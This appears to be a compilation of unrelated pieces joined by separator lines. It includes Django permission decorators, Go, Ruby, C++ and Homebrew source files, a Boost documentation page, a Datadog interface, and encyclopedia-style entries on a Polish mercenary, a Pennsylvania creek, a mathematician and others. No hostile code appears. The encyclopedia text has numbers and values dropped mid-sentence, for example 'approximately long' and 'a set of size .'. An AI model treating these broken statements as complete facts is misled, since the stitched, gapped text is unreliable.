if not request.user.is_authenticated: # NOQA
# just a double check, should not ever happen
raise PermissionDenied()
allowed = request.user.has_organizer_permission(request.organizer, permission, request=request)
if allowed:
return function(request, *args, **kw)
raise PermissionDenied(_('You do not have permission to view this content.'))
return wrapper
return decorator
class OrganizerPermissionRequiredMixin:
"""
This mixin is equivalent to the organizer_permission_required view decorator but
is in a form suitable for class-based views.
"""
permission = ''
@classmethod
def as_view(cls, **initkwargs):
view = super(OrganizerPermissionRequiredMixin, cls).as_view(**initkwargs)
return organizer_permission_required(cls.permission)(view)
def administrator_permission_required():
"""
This view decorator rejects all requests with a 403 response which are not from
users with a current staff member session.
"""
def decorator(function):
def wrapper(request, *args, **kw):
if not request.user.is_authenticated: # NOQA
# just a double check, should not ever happen
raise PermissionDenied()
if not request.user.has_active_staff_session(request.session.session_key):
if request.user.is_staff:
return redirect(reverse('control:user.sudo') + '?next=' + quote(current_url(request)))
raise PermissionDenied(_('You do not have permission to view this content.'))
return function(request, *args, **kw)
return wrapper
return decorator
def staff_member_required():
"""
This view decorator rejects all requests with a 403 response which are not staff
members (but do not need to have an active session).
"""
def decorator(function):
def wrapper(request, *args, **kw):
if not request.user.is_authenticated: # NOQA
# just a double check, should not ever happen
raise PermissionDenied()
if not request.user.is_staff:
raise PermissionDenied(_('You do not have permission to view this content.'))
return function(request, *args, **kw)
return wrapper
return decorator
class AdministratorPermissionRequiredMixin:
"""
This mixin is equivalent to the administrator_permission_required view decorator but
is in a form suitable for class-based views.
"""
@classmethod
def as_view(cls, **initkwargs):
view = super(AdministratorPermissionRequiredMixin, cls).as_view(**initkwargs)
return administrator_permission_required()(view)
class StaffMemberRequiredMixin:
"""
This mixin is equivalent to the staff_memer_required view decorator but
is in a form suitable for class-based views.
"""
@classmethod
def as_view(cls, **initkwargs):
view = super(StaffMemberRequiredMixin, cls).as_view(**initkwargs)
return staff_member_required()(view)
```
|
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!--
~ contributor license agreements. See the NOTICE file distributed with
~ this work for additional information regarding copyright ownership.
~
~ path_to_url
~
~ Unless required by applicable law or agreed to in writing, software
~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-->
<sql-parser-test-cases>
<drop-policy sql-case-id="drop_event_trigger_if_exists" />
<drop-policy sql-case-id="drop_event_trigger" />
</sql-parser-test-cases>
```
|
Atrocity or Atrocities or Atrocious may refer to:
Atrocity (band), a German metal band
Atrocities (album), the fourth album by Christian Death
Mass atrocity crimes, international crimes of genocide, war crimes, and crimes against humanity
Atrocious (film), a 2010 Spanish film
Atrocity, a crime against scheduled castes or scheduled tribes in India
See also
Cruelty
Crime
War crime
Crime against humanity
Genocide
|
Little Sandy Creek is a tributary of Redbank Creek, approximately long, in northwest Pennsylvania in the United States.
Little Sandy Creek arises in McCalmont Township in Jefferson County and passes through Oliver Township Beaver Township, Ringgold Township, Worthville, and Redbank Township before joining Redbank Creek in Armstrong County just upstream of the community of Mayport in Clarion County. Its tributaries, in order of their joining, and the populated places that it passes are:
Middle Branch Little Sandy Creek
Hickok Run
Clutch Run
Hadden Run
Indiancamp Run
East Branch
Coolspring
Lick Run
Big Run
McCracken Run
Worthville
Ferguson Run
Reitz Run
Langville
Cherry Run
Brocious Run
Nolf Run
See also
List of rivers of Pennsylvania
List of tributaries of the Allegheny River
References
Rivers of Pennsylvania
Tributaries of the Allegheny River
Rivers of Jefferson County, Pennsylvania
|
```go
package echo
import (
"bufio"
"net"
"net/http"
)
type (
// Response wraps an http.ResponseWriter and implements its interface to be used
// by an HTTP handler to construct an HTTP response.
// See: path_to_url#ResponseWriter
Response struct {
echo *Echo
beforeFuncs []func()
afterFuncs []func()
Writer http.ResponseWriter
Status int
Size int64
Committed bool
}
)
// NewResponse creates a new instance of Response.
func NewResponse(w http.ResponseWriter, e *Echo) (r *Response) {
return &Response{Writer: w, echo: e}
}
// Header returns the header map for the writer that will be sent by
// WriteHeader. Changing the header after a call to WriteHeader (or Write) has
// no effect unless the modified headers were declared as trailers by setting
// the "Trailer" header before the call to WriteHeader (see example)
// To suppress implicit response headers, set their value to nil.
// Example: path_to_url#example_ResponseWriter_trailers
func (r *Response) Header() http.Header {
return r.Writer.Header()
}
// Before registers a function which is called just before the response is written.
func (r *Response) Before(fn func()) {
r.beforeFuncs = append(r.beforeFuncs, fn)
}
// After registers a function which is called just after the response is written.
// If the `Content-Length` is unknown, none of the after function is executed.
func (r *Response) After(fn func()) {
r.afterFuncs = append(r.afterFuncs, fn)
}
// WriteHeader sends an HTTP response header with status code. If WriteHeader is
// not called explicitly, the first call to Write will trigger an implicit
// WriteHeader(http.StatusOK). Thus explicit calls to WriteHeader are mainly
// used to send error codes.
func (r *Response) WriteHeader(code int) {
if r.Committed {
r.echo.Logger.Warn("response already committed")
return
}
r.Status = code
for _, fn := range r.beforeFuncs {
fn()
}
r.Writer.WriteHeader(r.Status)
r.Committed = true
}
// Write writes the data to the connection as part of an HTTP reply.
func (r *Response) Write(b []byte) (n int, err error) {
if !r.Committed {
if r.Status == 0 {
r.Status = http.StatusOK
}
r.WriteHeader(r.Status)
}
n, err = r.Writer.Write(b)
r.Size += int64(n)
for _, fn := range r.afterFuncs {
fn()
}
return
}
// Flush implements the http.Flusher interface to allow an HTTP handler to flush
// buffered data to the client.
// See [http.Flusher](path_to_url#Flusher)
func (r *Response) Flush() {
r.Writer.(http.Flusher).Flush()
}
// Hijack implements the http.Hijacker interface to allow an HTTP handler to
// take over the connection.
// See [http.Hijacker](path_to_url#Hijacker)
func (r *Response) Hijack() (net.Conn, *bufio.ReadWriter, error) {
return r.Writer.(http.Hijacker).Hijack()
}
func (r *Response) reset(w http.ResponseWriter) {
r.beforeFuncs = nil
r.afterFuncs = nil
r.Writer = w
r.Size = 0
r.Status = http.StatusOK
r.Committed = false
}
```
|
Maria Zoéga (—7 July 1940), was a Swedish businessperson.
She managed Zoéga Coffee, a successful firm in Helsingborg, from 1886. A brand of coffee, the Maria Zoéga, is named after her.
References
1860 births
1940 deaths
19th-century Swedish businesswomen
19th-century Swedish businesspeople
20th-century Swedish businesswomen
20th-century Swedish businesspeople
|
```ruby
require_relative '../../spec_helper'
require 'matrix'
describe "Matrix.hermitian?" do
it "returns true for a hermitian Matrix" do
Matrix[[1, 2, Complex(0, 3)], [2, 4, 5], [Complex(0, -3), 5, 6]].hermitian?.should be_true
end
it "returns true for a 0x0 empty matrix" do
Matrix.empty.hermitian?.should be_true
end
it "returns false for an asymmetric Matrix" do
Matrix[[1, 2],[-2, 1]].hermitian?.should be_false
end
it "raises an error for rectangular matrices" do
[
Matrix[[0], [0]],
Matrix[[0, 0]],
Matrix.empty(0, 2),
Matrix.empty(2, 0),
].each do |rectangular_matrix|
-> {
rectangular_matrix.hermitian?
}.should raise_error(Matrix::ErrDimensionMismatch)
end
end
it "returns false for a matrix with complex values on the diagonal" do
Matrix[[Complex(1,1)]].hermitian?.should be_false
Matrix[[Complex(1,0)]].hermitian?.should be_true
end
end
```
|
Rafał Gan-Ganowicz (23 April 1932 – 22 November 2002) was a Polish soldier-in-exile, mercenary, journalist, member of the National Council of Poland, and political and social activist, dedicating his life to anti-communism.
Early life
Rafał Gan-Ganowicz was born in Wawer-Warsaw on 23 April 1932. His family is descended from Tatars who settled in the Polish-Lithuanian Commonwealth in the 16th century. His father served in the French Foreign Legion for a time, and later traveled to South America for business, investing in a rubber plantation in Brazil and gold mines in Argentina. His mother was killed in September 1939 during the opening days of the German Invasion of Poland. After this, his father moved him and his son from Wawer to the Warsaw district of Żoliborz. They lived here until the Warsaw Uprising took place in August 1944. Leaving to fight in the uprising, his father hid him in a cellar with other children and women, but was killed in the battle, leaving Rafał an orphan at twelve years old.
As an orphaned teenager in post-war Poland, Gan-Ganowicz first experienced the aftermath of the Soviet Red Army's occupation of Poland. Witnessing the Soviet troops abuse of Poles, their looting and their destruction of personal property led him to first develop his anti-communism beliefs. One event that particularly stuck with him was seeing one of his friends, an older boy who had been maimed while fighting in the Warsaw Uprising, thrown down a flight of stairs and called a "bandit" by a communist official.
Around 1948, he had joined an underground anti-communist group of youths who protested and campaigned against the newly established Polish Communist government and the Soviets. They would deface communist propaganda posters, spray anti-communist graffiti, and publish and distribute leaflets critical of the government. At one point, the group was able to steal guns from Police officers. In June 1950, the Polish Secret Police started to round up all suspected members of any anti-state groups and Rafał was tipped off by a friend that they were about to arrest him. Fearing being tortured into giving up other members of the group, he boarded a Soviet supply train, hiding in the undercarriage, that was headed for Berlin and escaped Poland.
Western Europe and 'The Polish Guard'
After arriving in Berlin, Gan-Ganowicz wandered around until he could find the western sector. He eventually turned himself over to the American authorities and he was granted political asylum due to his activities in Poland. Like many Polish refugees in the west, he joined the Polish Guard. This was a unit of the U.S. Army that was developed in cooperation with the Polish Government-in-exile for the purpose of guard, technical, and transport duties. He trained as a paratrooper and received the rank of Second Lieutenant, being given his beret by General Władysław Anders.
Displeased with being stationed in Germany, due to his dislike of Germany for the invasion of Poland, he applied to be stationed in France instead. He had hoped that the unit would act as a commando group used in a NATO invasion of Eastern Europe in the early days of the Cold War, being dropped behind enemy lines in Poland. He was disappointed that this never happened and he spent most of his time in the unit on guard and patrol duties. After his time in the Polish Guard, he found a job as a teacher in a school for Polish refugees in Paris.
Mercenary activities
While living in Paris, Rafał was motivated by his status as a political refugee, and not an economic one, to use his time in the west not to build a new life for himself, but to fight against communism. In his book, Ganowicz describes job offers he received from Cuban authorities, who tried to attract him by describing enormous wealth gathered by Ernesto Guevara while fighting as mercenary in Bolivia.
The Congo
In the 1960s, he had first started hearing news reports about the ongoing Congo Crisis. The unrecognized Katanga separatist leader Moïse Tshombe, who in 1961 had murderered Congolese independence leader Patrice Lumumba with help from the Central Intelligence Agency, had in 1963 come to power as Prime Minister of the Congo after being in exile in Spain, and was now fighting against the Simba rebels, a nationalist and anti-imperialist group that was being supported by the Soviet Union, China, and Cuba. The rebellion became a key battle in the Cold War, and Tshombe called on western nations to assist him in the war, as well as European mercenaries to help his army. Rafał soon travelled to the Congo Embassy in Brussels and volunteered to fight, motivated by his strong anti-communist beliefs.
Yemen
In 1967, Gan-Ganowicz traveled to Yemen under government contract from the King of Saudi Arabia to train local tribal insurgents on the Royalist side against the Soviet-backed coalition of Nasserist, Pan-Arabist, republican and communist rebels during the North Yemen Civil War. Eventually the republican side won and the European mercenaries, including Rafal, were driven out. In Yemen, the unit commanded by Ganowicz managed to shoot down a Soviet assault plane piloted by colonel Kozlov, head of Soviet "military advisors" group in Yemen. Documents found with Kozlov were later used at UN as evidence of Soviet active engagement in the military conflict, which was denied by USSR.
Later life
On November 11, 1989, he was appointed a member of the National Council of the Republic of Poland from France in the eighth term (1989-1991) by President of the Polish Government-in-exile Ryszard Kaczorowski.
He died of lung cancer on November 22, 2002, at the age of 70. The funeral took place on November 26, 2002, in Lublin. He was buried in the cemetery in Kalinowszczyzna.
In 2007, president Lech Kaczyński posthumously awarded Ganowicz the Order of Polonia Restituta "for outstanding services in promoting democratic changes in Poland, for achievements in professional and social work undertaken for the benefit of the country".
References
https://www.youtube.com/watch?v=kUKZcVR58i8 'A Gun for Hire, or The Private War of Rafał Gan-Ganowicz'
Mierzwa, Maciej: Rafał Gan-Ganowicz: zabijalem tylko komunistów... at Portal "Nowa Strategia"
Chodakiewicz, Marek Jan. "Genocide Prevention by One Condottiere." The Institute of World Politics. N.p., 1 May 2009. Web. 28 Nov. 2016.
1932 births
2002 deaths
20th-century Polish journalists
Deaths from lung cancer
Military personnel from Warsaw
Polish anti-communists
Polish exiles
Polish mercenaries
People of the Congo Crisis
People of the North Yemen Civil War
Polish expatriates in France
Polish people of Lipka Tatar descent
Recipients of the Order of Polonia Restituta
|
The 1921 Hastings by-election was held on 4 May 1921. The by-election was held due to the resignation of the incumbent Coalition Unionist MP, Laurance Lyon. It was won by the Coalition Unionist candidate Eustace Percy.
References
1921 elections in the United Kingdom
1921 in England
20th century in Sussex
Hastings
By-elections to the Parliament of the United Kingdom in East Sussex constituencies
|
```html
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN'
'path_to_url
<html xmlns='path_to_url xml:lang='en' lang='en'>
<head>
<meta http-equiv='Content-Type' content='text/html; charset=utf-8'/>
<title>quaternion, vector and matrix types</title>
<link href='reno.css' type='text/css' rel='stylesheet'/>
</head>
<body>
<div class="body-0">
<div class="body-1">
<div class="body-2">
<div>
<h1>QVM: Quaternions, Vectors, Matrices</h1>
</div>
<!-- file LICENSE_1_0.txt or copy at path_to_url -->
<div class="RenoIncludeDIV"><div class="RenoAutoDIV"><h3>Quaternion, Vector and Matrix Types</h3>
</div>
<div class="RenoIncludeDIV"><p><span class="RenoEscape">#<!--<wiki>`#</wiki>--></span>include <<span class="RenoLink"><a href="boost_qvm_quat_hpp.html">boost/qvm/quat.hpp</a></span>><span class="RenoBR"> </span><br/><span class="RenoEscape">#<!--<wiki>`#</wiki>--></span>include <<span class="RenoLink"><a href="boost_qvm_vec_hpp.html">boost/qvm/vec.hpp</a></span>><span class="RenoBR"> </span><br/><span class="RenoEscape">#<!--<wiki>`#</wiki>--></span>include <<span class="RenoLink"><a href="boost_qvm_mat_hpp.html">boost/qvm/mat.hpp</a></span>><span class="RenoBR"> </span><br/></p>
<pre>namespace boost
{
namespace <span class="RenoLink"><a href="qvm.html">qvm</a></span>
{
<span class="RenoIncludeSPAN"> //*** Quaternion, vector and matrix types ***
<span class="RenoIncludeSPAN"><span class="RenoIncludeSPAN">template <class T>
struct <span class="RenoLink"><a href="quat.html">quat</a></span>
{
T a[4];
template <class R>
operator R() const
{
R r;
<span class="RenoLink"><a href="assign_quat_quat_.html">assign</a></span>(r,*this);
return r;
}
};
template <class Quaternion>
struct <span class="RenoLink"><a href="quat_traits.html">quat_traits</a></span>;
template <class T>
struct <span class="RenoLink"><a href="quat_traits.html">quat_traits</a></span>< <span class="RenoLink"><a href="quat.html">quat</a></span><T> >
{
typedef T scalar_type;
template <int I> static scalar_type <span class="RenoLink"><a href="quat_traits_Q_read_element.html">read_element</a></span>( <span class="RenoLink"><a href="quat.html">quat</a></span><T> const & x ) { return x.a[I]; }
template <int I> static scalar_type & <span class="RenoLink"><a href="quat_traits_Q_write_element.html">write_element</a></span>( <span class="RenoLink"><a href="quat.html">quat</a></span><T> & x ) { return x.a[I]; }
};</span></span>
<span class="RenoIncludeSPAN"><span class="RenoIncludeSPAN">template <class T,int Dim>
struct <span class="RenoLink"><a href="vec.html">vec</a></span>
{
T a[Dim];
template <class R>
operator R() const
{
R r;
<span class="RenoLink"><a href="assign_vec_vec_.html">assign</a></span>(r,*this);
return r;
}
};
template <class Vector>
struct <span class="RenoLink"><a href="vec_traits.html">vec_traits</a></span>;
template <class T,int Dim>
struct <span class="RenoLink"><a href="vec_traits.html">vec_traits</a></span>< <span class="RenoLink"><a href="vec.html">vec</a></span><T,Dim> >
{
typedef T scalar_type;
static int const dim=Dim;
template <int I> static scalar_type <span class="RenoLink"><a href="vec_traits_V_read_element.html">read_element</a></span>( <span class="RenoLink"><a href="vec.html">vec</a></span><T,Dim> const & x ) { return x.a[I]; }
template <int I> static scalar_type & <span class="RenoLink"><a href="vec_traits_V_write_element.html">write_element</a></span>( <span class="RenoLink"><a href="vec.html">vec</a></span><T,Dim> & x ) { return x.a[I]; }
static scalar_type <span class="RenoLink"><a href="vec_traits_V_read_element_idx.html">read_element_idx</a></span>( int i, <span class="RenoLink"><a href="vec.html">vec</a></span><T,Dim> const & x ) { return x.a[i]; }
static scalar_type & <span class="RenoLink"><a href="vec_traits_V_write_element_idx.html">write_element_idx</a></span>( int i, <span class="RenoLink"><a href="vec.html">vec</a></span><T,Dim> & x ) { return x.a[i]; }
};</span></span>
<span class="RenoIncludeSPAN"><span class="RenoIncludeSPAN">template <class T,int Rows,int Cols>
struct <span class="RenoLink"><a href="mat.html">mat</a></span>
{
T a[Rows][Cols];
template <class R>
operator R() const
{
R r;
<span class="RenoLink"><a href="assign_mat_mat_.html">assign</a></span>(r,*this);
return r;
}
};
template <class Matrix>
struct <span class="RenoLink"><a href="mat_traits.html">mat_traits</a></span>;
template <class T,int Rows,int Cols>
struct <span class="RenoLink"><a href="mat_traits.html">mat_traits</a></span>< <span class="RenoLink"><a href="mat.html">mat</a></span><T,Rows,Cols> >
{
typedef T scalar_type;
static int const rows=Rows;
static int const cols=Cols;
template <int Row,int Col> static scalar_type <span class="RenoLink"><a href="mat_traits_M_read_element.html">read_element</a></span>( <span class="RenoLink"><a href="mat.html">mat</a></span><T,Rows,Cols> const & x ) { return x.a[Row][Col]; }
template <int Row,int Col> static scalar_type & <span class="RenoLink"><a href="mat_traits_M_write_element.html">write_element</a></span>( <span class="RenoLink"><a href="mat.html">mat</a></span><T,Rows,Cols> & x ) { return x.a[Row][Col]; }
static scalar_type <span class="RenoLink"><a href="mat_traits_M_read_element_idx.html">read_element_idx</a></span>( int row, int col, <span class="RenoLink"><a href="mat.html">mat</a></span><T,Rows,Cols> const & x ) { return x.a[row][col]; }
static scalar_type & <span class="RenoLink"><a href="mat_traits_M_write_element_idx.html">write_element_idx</a></span>( int row, int col, <span class="RenoLink"><a href="mat.html">mat</a></span><T,Rows,Cols> & x ) { return x.a[row][col]; }
};</span></span></span>
}
}</pre>
</div></div><div class="RenoAutoDIV"><div class="RenoHR"><hr/></div>
See also: <span class="RenoPageList"><a href="index.html">Boost QVM</a> | <a href="Synopsis.html">Synopsis</a></span>
</div>
<!-- file LICENSE_1_0.txt or copy at path_to_url -->
<div id="footer">
<p>
<a class="logo" href="path_to_url"><img class="logo_pic" src="valid-css.png" alt="Valid CSS" height="31" width="88"/></a>
<a class="logo" href="path_to_url"><img class="logo_pic" src="valid-xhtml.png" alt="Valid XHTML 1.0" height="31" width="88"/></a>
</p>
</div>
</div>
</div>
</div>
</body>
</html>
```
|
```c++
// Use, modification and distribution are subject to the
// LICENSE_1_0.txt or copy at path_to_url
/*
Revision history:
25 August 2005 : Initial version.
*/
#include <boost/test/minimal.hpp>
#include <boost/foreach.hpp>
///////////////////////////////////////////////////////////////////////////////
// define the container types, used by utility.hpp to generate the helper functions
typedef char *foreach_container_type;
typedef char const *foreach_const_container_type;
typedef char foreach_value_type;
typedef char &foreach_reference_type;
typedef char const &foreach_const_reference_type;
#include "./utility.hpp"
///////////////////////////////////////////////////////////////////////////////
// define some containers
//
char my_ntcs_buffer[] = "\1\2\3\4\5";
char *my_ntcs = my_ntcs_buffer;
char const *my_const_ntcs = my_ntcs;
///////////////////////////////////////////////////////////////////////////////
// test_main
//
int test_main( int, char*[] )
{
boost::mpl::true_ *p = BOOST_FOREACH_IS_LIGHTWEIGHT_PROXY(my_ntcs);
(void)p;
// non-const containers by value
BOOST_CHECK(sequence_equal_byval_n(my_ntcs, "\1\2\3\4\5"));
// const containers by value
BOOST_CHECK(sequence_equal_byval_c(my_const_ntcs, "\1\2\3\4\5"));
return 0;
}
```
|
Rosa Elia Romero Guzmán (born 14 May 1973) is a Mexican politician affiliated with the Labor Party, formerly from the PRD. As of 2013 she served as Deputy of the LXII Legislature of the Mexican Congress representing Oaxaca. She also served as Deputy during the LX Legislature.
References
1973 births
Living people
Politicians from Oaxaca
Women members of the Chamber of Deputies (Mexico)
Party of the Democratic Revolution politicians
Labor Party (Mexico) politicians
21st-century Mexican politicians
21st-century Mexican women politicians
People from Huajuapan de León
Deputies of the LXII Legislature of Mexico
Members of the Chamber of Deputies (Mexico) for Oaxaca
|
```ruby
class Castget < Formula
desc "Command-line podcast and RSS enclosure downloader"
homepage "path_to_url"
url "path_to_url"
sha256 your_sha256_hash
license "LGPL-2.1-only"
livecheck do
url "path_to_url"
regex(/href=.*?castget[._-]v?(\d+(?:\.\d+)+)\.t/i)
end
bottle do
sha256 cellar: :any, arm64_sonoma: your_sha256_hash
sha256 cellar: :any, arm64_ventura: your_sha256_hash
sha256 cellar: :any, arm64_monterey: your_sha256_hash
sha256 cellar: :any, arm64_big_sur: your_sha256_hash
sha256 cellar: :any, sonoma: your_sha256_hash
sha256 cellar: :any, ventura: your_sha256_hash
sha256 cellar: :any, monterey: your_sha256_hash
sha256 cellar: :any, big_sur: your_sha256_hash
sha256 cellar: :any, catalina: your_sha256_hash
sha256 cellar: :any, mojave: your_sha256_hash
sha256 cellar: :any, high_sierra: your_sha256_hash
sha256 cellar: :any_skip_relocation, x86_64_linux: your_sha256_hash
end
depends_on "pkg-config" => :build
depends_on "glib"
depends_on "id3lib"
uses_from_macos "curl"
uses_from_macos "libxml2"
on_macos do
depends_on "gettext"
end
def install
system "./configure", "--disable-silent-rules", *std_configure_args
system "make", "install"
end
test do
(testpath/"test.rss").write <<~EOS
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title>Test podcast</title>
<description>Test podcast</description>
<link>path_to_url
<item>
<title>Test item</title>
<enclosure url="#{test_fixtures("test.mp3")}" type="audio/mpeg" />
</item>
</channel>
</rss>
EOS
(testpath/"castgetrc").write <<~EOS
[test]
url=file://#{testpath/"test.rss"}
spool=#{testpath}
EOS
system bin/"castget", "-C", testpath/"castgetrc"
assert_predicate testpath/"test.mp3", :exist?
end
end
```
|
Paradise is the sixteenth studio album by American country music artist John Anderson. It was released in 1996 under the BNA Records label. The album produced the singles: "Paradise" (also recorded by Pirates of the Mississippi on their 1995 album Paradise), which peaked at 26 on United States Country charts and 21 on Canadian charts, "Long Hard Lesson Learned", which peaked at 51 and "My Kind of Crazy", which peaked at 67.
Critical reception
Sara Sytsma of Allmusic rated the album two-and-a-half stars out of five, saying that it "featur[es] a handful of great songs that cancel out the fair amount of filler on the record." Chet Flippo of Billboard called it "traditional, uncompromising John Anderson country".
Track listing
Personnel
As listed in liner notes.
John Anderson – acoustic guitar, lead vocals, background vocals
Eddie Bayers – drums
Mike Brignardello – bass guitar
Larry Byrom – acoustic guitar
Darel DeCounter – Hammond B-3 organ
Paul Franklin – steel guitar, Dobro
Sonny Garrish – steel guitar, Dobro
Levon Helm – background vocals on "The Band Plays On"
Dann Huff – electric guitar
Mark Knopfler – electric guitar on "Let the Guitar Do the Talkin'"
Matt Rollings – piano
John Wesley Ryles – background vocals
Gary Smith – piano
Joe Spivey – fiddle, mandolin
Biff Watson – acoustic guitar
Lonnie Wilson – drums
Glenn Worf – bass guitar
Curtis Wright – background vocals
Curtis Young – background vocals
Chart performance
Album
Singles
References
1996 albums
BNA Records albums
John Anderson (musician) albums
Albums produced by James Stroud
|
Chester Joseph Aubuchon Jr. (May 18, 1916 – April 14, 2005) was an American professional basketball player. He played college basketball for the Michigan State Spartans and was the first player to be named an All-American in program history.
Aubuchon played one season for the Detroit Falcons in the Basketball Association of America (BAA). He served as an assistant coach for Michigan State for one season before becoming a teacher, coach, and administrator at schools in Michigan.
Early life
Aubuchon was raised in Gary, Indiana, as one of nine children. His father died when he was aged 11 and he was raised by his mother.
Aubuchon attended Horace Mann High School in Gary. He served as a team captain and was selected for the all-state team.
College career
Aubuchon entered Michigan State University in 1937. He formed a contingent known as the Gary Gang with fellow Gary residents Bob Phillips and Max Hindman. Aubuchon began receiving national attention as a junior and earned the nickname "The Houdini of the Hardcourt". He was the first Spartans player to be named an All-American.
While working in a campus electrical shop in 1940, Aubuchon scratched his finger and it became infected. He suffered from blood poisoning and required blood transfusions to keep him alive. Aubuchon was in the hospital for six months and spent another six months recuperating before being able to play again. He returned to the Spartans for the 1941–42 season as team captain.
After graduating from Michigan State, Aubuchon served four years in the United States Navy. He spent 27 months in the South Pacific war zones during World War II.
Professional career
Aubuchon played briefly for the Detroit Falcons of the Basketball Association of America (BAA) in the 1946–47 season. He served as an assistant coach for the Spartans during the 1949–50 season under Al Kircher.
Aubuchon coached at high schools in Owosso and Holly, Michigan. He moved to Port Huron, Michigan, in 1954 to coach at Port Huron Junior College, where he also served as an athletic director, teacher, and dean of men. Aubuchon was appointed as the dean of student personnel when Port Huron Junior College became St. Clair County Community College in 1967. Aubuchon retired in 1976 and moved to Ruskin, Florida, where he died in 2005.
Legacy
Aubuchon was inducted into the Port Huron Sports Hall of Fame in 1978, the Michigan State Hall of Fame in 1996, and the Indiana Basketball Hall of Fame in 1998.
BAA career statistics
Regular season
References
External links
1916 births
2005 deaths
All-American college men's basketball players
American men's basketball coaches
American men's basketball players
Basketball coaches from Indiana
Basketball players from Gary, Indiana
Detroit Falcons (basketball) players
Guards (basketball)
High school basketball coaches in Michigan
Michigan State Spartans men's basketball coaches
Michigan State Spartans men's basketball players
United States Navy personnel of World War II
|
```go
// Unless explicitly stated otherwise all files in this repository are licensed
// This product includes software developed at Datadog (path_to_url
package telemetry
// Counter tracks how many times something is happening.
type Counter interface {
// InitializeToZero creates the counter with the given tags and initializes it to 0.
// This method is intended to be used when the counter value is important to
// send even before any incrementing/addition is done on it.
InitializeToZero(tagsValue ...string)
// Inc increments the counter with the given tags value.
Inc(tagsValue ...string)
// Add adds the given value to the counter with the given tags value.
Add(value float64, tagsValue ...string)
// Delete deletes the value for the counter with the given tags value.
Delete(tagsValue ...string)
// IncWithTags increments the counter with the given tags.
// Even if less convenient, this signature could be used in hot path
// instead of Inc(...string) to avoid escaping the parameters on the heap.
IncWithTags(tags map[string]string)
// AddWithTags adds the given value to the counter with the given tags.
// Even if less convenient, this signature could be used in hot path
// instead of Add(float64, ...string) to avoid escaping the parameters on the heap.
AddWithTags(value float64, tags map[string]string)
// DeleteWithTags deletes the value for the counter with the given tags.
// Even if less convenient, this signature could be used in hot path
// instead of Delete(...string) to avoid escaping the parameters on the heap.
DeleteWithTags(tags map[string]string)
// WithValues returns SimpleCounter for this metric with the given tag values.
WithValues(tagsValue ...string) SimpleCounter
// WithTags returns SimpleCounter for this metric with the given tag values.
WithTags(tags map[string]string) SimpleCounter
}
```
|
Ben Joseph Green FRS (born 27 February 1977) is a British mathematician, specialising in combinatorics and number theory. He is the Waynflete Professor of Pure Mathematics at the University of Oxford.
Early life and education
Ben Green was born on 27 February 1977 in Bristol, England. He studied at local schools in Bristol, Bishop Road Primary School and Fairfield Grammar School, competing in the International Mathematical Olympiad in 1994 and 1995. He entered Trinity College, Cambridge in 1995 and completed his BA in mathematics in 1998, winning the Senior Wrangler title. He stayed on for Part III and earned his doctorate under the supervision of Timothy Gowers, with a thesis entitled Topics in arithmetic combinatorics (2003). During his PhD he spent a year as a visiting student at Princeton University. He was a research Fellow at Trinity College, Cambridge between 2001 and 2005, before becoming a Professor of Mathematics at the University of Bristol from January 2005 to September 2006 and then the first Herchel Smith Professor of Pure Mathematics at the University of Cambridge from September 2006 to August 2013. He became the Waynflete Professor of Pure Mathematics at the University of Oxford on 1 August 2013. He was also a Research Fellow of the Clay Mathematics Institute and held various positions at institutes such as Princeton University, University of British Columbia, and Massachusetts Institute of Technology.
Mathematics
The majority of Green's research is in the fields of analytic number theory and additive combinatorics, but he also has results in harmonic analysis and in group theory. His best known theorem, proved jointly with his frequent collaborator Terence Tao, states that there exist arbitrarily long arithmetic progressions in the prime numbers: this is now known as the Green–Tao theorem.
Amongst Green's early results in additive combinatorics are an improvement of a result of Jean Bourgain of the size of arithmetic progressions in sumsets, as well as a proof of the Cameron–Erdős conjecture on sum-free sets of natural numbers. He also proved an arithmetic regularity lemma for functions defined on the first natural numbers, somewhat analogous to the Szemerédi regularity lemma for graphs.
From 2004–2010, in joint work with Terence Tao and Tamar Ziegler, he developed so-called higher order Fourier analysis. This theory relates Gowers norms with objects known as nilsequences. The theory derives its name from these nilsequences, which play an analogous role to the role that characters play in classical Fourier analysis. Green and Tao used higher order Fourier analysis to present a new method for counting the number of solutions to simultaneous equations in certain sets of integers, including in the primes. This generalises the classical approach using Hardy–Littlewood circle method. Many aspects of this theory, including the quantitative aspects of the inverse theorem for the Gowers norms, are still the subject of ongoing research.
Green has also collaborated with Emmanuel Breuillard on topics in group theory. In particular, jointly with Terence Tao, they proved a structure theorem for approximate groups, generalising the Freiman-Ruzsa theorem on sets of integers with small doubling. Green also has worked, jointly with Kevin Ford and Sean Eberhard, on the theory of the symmetric group, in particular on what proportion of its elements fix a set of size .
Green and Tao also have a paper on algebraic combinatorial geometry, resolving the Dirac-Motzkin conjecture (see Sylvester–Gallai theorem). In particular they prove that, given any collection of points in the plane that are not all collinear, if is large enough then there must exist at least lines in the plane containing exactly two of the points.
Kevin Ford, Ben Green, Sergei Konyagin, James Maynard and Terence Tao, initially in two separate research groups and then in combination, improved the lower bound for the size of the longest gap between two consecutive primes of size at most . The form of the previously best-known bound, essentially due to Rankin, had not been improved for 76 years.
More recently Green has considered questions in arithmetic Ramsey theory. Together with Tom Sanders he proved that, if a sufficiently large finite field of prime order is coloured with a fixed number of colours, then the field has elements such that all have the same colour.
Green has also been involved with the new developments of Croot-Lev-Pach-Ellenberg-Gijswijt on applying the polynomial method to bound the size of subsets of a finite vector space without solutions to linear equations. He adapted these methods to prove, in function fields, a strong version of Sárközy's theorem.
Awards and honours
Green has been a Fellow of the Royal Society since 2010, and a Fellow of the American Mathematical Society since 2012. Green was chosen by the German Mathematical Society to deliver a Gauss Lectureship in 2013. He has received several awards:
2004: Clay Research Award
2005: Salem Prize
2005: Whitehead Prize
2007: SASTRA Ramanujan Prize
2008: European Mathematical Society prize recipient
2014: Sylvester Medal, awarded by the Royal Society.
2019: Senior Whitehead Prize of the London Mathematical Society
References
External links
Ben Green personal homepage at Oxford
Ben Green faculty page at Oxford
Ben Green Homepage at Trinity College, Cambridge
Clay Research Award 2004 announcement
math.NT/0404188 – Preprint on arbitrarily long arithmetic progressions on primes
1977 births
Living people
20th-century English mathematicians
21st-century English mathematicians
Academics of the University of Bristol
Alumni of Trinity College, Cambridge
Cambridge mathematicians
Clay Research Award recipients
Combinatorialists
Fellows of Magdalen College, Oxford
